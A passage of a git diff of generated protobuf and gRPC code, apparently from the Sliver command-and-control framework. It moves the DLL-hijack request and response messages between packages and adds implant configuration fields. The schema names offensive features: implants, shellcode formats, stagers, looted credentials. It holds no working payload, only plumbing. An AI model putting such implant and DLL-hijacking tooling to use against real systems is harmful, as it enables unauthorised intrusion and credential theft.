0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18,
0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61,
0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69,
@@ -5252,29 +5407,48 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f,
0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65,
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73,
0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74,
0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00,
0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12,
0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12,
0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d,
0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a,
0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01,
0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c,
0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f,
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43,
0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43,
0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a,
0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00,
0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52,
0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02,
0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69,
0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c,
0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12,
0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74,
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x33,
0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65,
0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c,
0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66,
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a,
0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18,
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e,
0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66,
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72,
0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61,
0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69,
0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72,
0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d,
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52,
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a,
0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18,
0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f,
0x6e, 0x73, 0x65, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72,
0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49,
0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45,
0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45,
0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a,
0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c,
0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54,
0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e,
0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f,
0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f,
0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d,
0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65,
0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41,
0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45,
0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a,
0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f,
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59,
0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d,
0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
@@ -5290,7 +5464,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
}
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 69)
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 71)
var file_clientpb_client_proto_goTypes = []interface{}{
(OutputFormat)(0), // 0: clientpb.OutputFormat
(StageProtocol)(0), // 1: clientpb.StageProtocol
@@ -5362,18 +5536,20 @@ var file_clientpb_client_proto_goTypes = []interface{}{
(*ExtensionData)(nil), // 67: clientpb.ExtensionData
(*Host)(nil), // 68: clientpb.Host
(*AllHosts)(nil), // 69: clientpb.AllHosts
nil, // 70: clientpb.ImplantBuilds.ConfigsEntry
nil, // 71: clientpb.WebsiteAddContent.ContentsEntry
nil, // 72: clientpb.Website.ContentsEntry
nil, // 73: clientpb.Host.ExtensionDataEntry
(*commonpb.Request)(nil), // 74: commonpb.Request
(*commonpb.Response)(nil), // 75: commonpb.Response
(*commonpb.File)(nil), // 76: commonpb.File
(*DllHijackReq)(nil), // 70: clientpb.DllHijackReq
(*DllHijack)(nil), // 71: clientpb.DllHijack
nil, // 72: clientpb.ImplantBuilds.ConfigsEntry
nil, // 73: clientpb.WebsiteAddContent.ContentsEntry
nil, // 74: clientpb.Website.ContentsEntry
nil, // 75: clientpb.Host.ExtensionDataEntry
(*commonpb.Request)(nil), // 76: commonpb.Request
(*commonpb.Response)(nil), // 77: commonpb.Response
(*commonpb.File)(nil), // 78: commonpb.File
}
var file_clientpb_client_proto_depIdxs = []int32{
7, // 0: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
0, // 1: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
70, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
72, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
0, // 3: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
10, // 4: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
11, // 5: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
@@ -5382,50 +5558,52 @@ var file_clientpb_client_proto_depIdxs = []int32{
8, // 8: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
17, // 9: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
20, // 10: clientpb.Jobs.Active:type_name -> clientpb.Job
74, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
75, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
74, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
75, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
76, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
77, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
76, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
77, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
6, // 15: clientpb.Sessions.Sessions:type_name -> clientpb.Session
8, // 16: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
76, // 17: clientpb.Generate.File:type_name -> commonpb.File
74, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
74, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
78, // 17: clientpb.Generate.File:type_name -> commonpb.File
76, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
76, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
1, // 20: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
1, // 21: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
76, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
78, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
8, // 23: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
74, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
76, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
8, // 25: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
74, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
74, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
74, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
76, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
76, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
76, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
56, // 29: clientpb.Client.Operator:type_name -> clientpb.Operator
6, // 30: clientpb.Event.Session:type_name -> clientpb.Session
20, // 31: clientpb.Event.Job:type_name -> clientpb.Job
53, // 32: clientpb.Event.Client:type_name -> clientpb.Client
56, // 33: clientpb.Operators.Operators:type_name -> clientpb.Operator
71, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
72, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
73, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
74, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
60, // 36: clientpb.Websites.Websites:type_name -> clientpb.Website
2, // 37: clientpb.Loot.Type:type_name -> clientpb.LootType
3, // 38: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
63, // 39: clientpb.Loot.Credential:type_name -> clientpb.Credential
4, // 40: clientpb.Loot.FileType:type_name -> clientpb.FileType
76, // 41: clientpb.Loot.File:type_name -> commonpb.File
78, // 41: clientpb.Loot.File:type_name -> commonpb.File
64, // 42: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
66, // 43: clientpb.Host.IOCs:type_name -> clientpb.IOC
73, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
75, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
68, // 45: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
8, // 46: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
57, // 47: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
57, // 48: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
67, // 49: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
50, // [50:50] is the sub-list for method output_type
50, // [50:50] is the sub-list for method input_type
50, // [50:50] is the sub-list for extension type_name
50, // [50:50] is the sub-list for extension extendee
0, // [0:50] is the sub-list for field type_name
76, // 46: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
77, // 47: clientpb.DllHijack.Response:type_name -> commonpb.Response
8, // 48: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
57, // 49: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
57, // 50: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
67, // 51: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
52, // [52:52] is the sub-list for method output_type
52, // [52:52] is the sub-list for method input_type
52, // [52:52] is the sub-list for extension type_name
52, // [52:52] is the sub-list for extension extendee
0, // [0:52] is the sub-list for field type_name
}
func init() { file_clientpb_client_proto_init() }
@@ -6214,6 +6392,30 @@ func file_clientpb_client_proto_init() {
return nil
}
}
file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DllHijackReq); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DllHijack); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
@@ -6221,7 +6423,7 @@ func file_clientpb_client_proto_init() {
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_clientpb_client_proto_rawDesc,
NumEnums: 5,
NumMessages: 69,
NumMessages: 71,
NumExtensions: 0,
NumServices: 0,
},
+19 -1
View File
@@ -60,6 +60,8 @@ enum OutputFormat {
}
message ImplantConfig {
string ID = 100;
string GOOS = 1;
string GOARCH = 2;
string Name = 3;
@@ -83,6 +85,7 @@ message ImplantConfig {
// c2
repeated ImplantC2 C2 = 10;
repeated string CanaryDomains = 11;
string ConnectionStrategy = 39;
bool LimitDomainJoined = 20;
string LimitDatetime = 21;
@@ -521,4 +524,19 @@ message Host {
message AllHosts {
repeated Host Hosts = 1;
}
}
// [ Dll Hijack ] ----------------------------------------
message DllHijackReq {
string ReferenceDLLPath = 1;
string TargetLocation = 2;
bytes ReferenceDLL = 3;
bytes TargetDLL = 4;
string ProfileName = 5;
commonpb.Request Request = 9;
}
message DllHijack {
commonpb.Response Response = 9;
}
+6 -6
View File
@@ -350,8 +350,8 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61,
0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12,
0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69,
0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69,
0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08,
0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a,
@@ -488,7 +488,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.RegistrySubKeyListReq)(nil), // 62: sliverpb.RegistrySubKeyListReq
(*sliverpb.RegistryListValuesReq)(nil), // 63: sliverpb.RegistryListValuesReq
(*sliverpb.SSHCommandReq)(nil), // 64: sliverpb.SSHCommandReq
(*sliverpb.DllHijackReq)(nil), // 65: sliverpb.DllHijackReq
(*clientpb.DllHijackReq)(nil), // 65: clientpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 66: sliverpb.GetPrivsReq
(*sliverpb.RegisterExtensionReq)(nil), // 67: sliverpb.RegisterExtensionReq
(*sliverpb.CallExtensionReq)(nil), // 68: sliverpb.CallExtensionReq
@@ -564,7 +564,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.RegistrySubKeyList)(nil), // 138: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 139: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 140: sliverpb.SSHCommand
(*sliverpb.DllHijack)(nil), // 141: sliverpb.DllHijack
(*clientpb.DllHijack)(nil), // 141: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 142: sliverpb.GetPrivs
(*sliverpb.RegisterExtension)(nil), // 143: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 144: sliverpb.CallExtension
@@ -667,7 +667,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
62, // 86: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
63, // 87: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
64, // 88: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
65, // 89: rpcpb.SliverRPC.HijackDLL:input_type -> sliverpb.DllHijackReq
65, // 89: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
66, // 90: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
67, // 91: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
68, // 92: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
@@ -773,7 +773,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
138, // 192: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
139, // 193: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
140, // 194: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
141, // 195: rpcpb.SliverRPC.HijackDLL:output_type -> sliverpb.DllHijack
141, // 195: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
142, // 196: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
143, // 197: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
144, // 198: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
+1 -1
View File
@@ -121,7 +121,7 @@ service SliverRPC {
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
// Extensions
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
+7 -7
View File
@@ -122,7 +122,7 @@ type SliverRPCClient interface {
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
// Extensions
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
@@ -955,8 +955,8 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
return out, nil
}
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error) {
out := new(sliverpb.DllHijack)
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) {
out := new(clientpb.DllHijack)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
if err != nil {
return nil, err
@@ -1258,7 +1258,7 @@ type SliverRPCServer interface {
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
// Extensions
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
@@ -1554,7 +1554,7 @@ func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverp
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
}
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
}
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
@@ -3221,7 +3221,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
}
func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
